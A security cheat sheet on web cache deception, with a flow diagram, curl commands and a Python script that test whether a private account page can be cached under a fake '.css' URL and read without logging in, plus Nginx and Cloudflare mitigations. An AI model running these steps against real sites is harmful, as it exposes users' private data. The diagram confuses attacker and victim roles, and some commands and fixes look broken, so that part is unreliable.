Web Cache Deception

GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response

# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies

import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'

# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")

# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text   # adjust to whatever marker your auth page has

# Nginx — prefix-based cache keys, NOT extension-based
location / {
  proxy_pass http://origin;
  proxy_cache_key "$scheme$proxy_host$uri";
  add_header Cache-Control "private, no-store" always;
}

# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension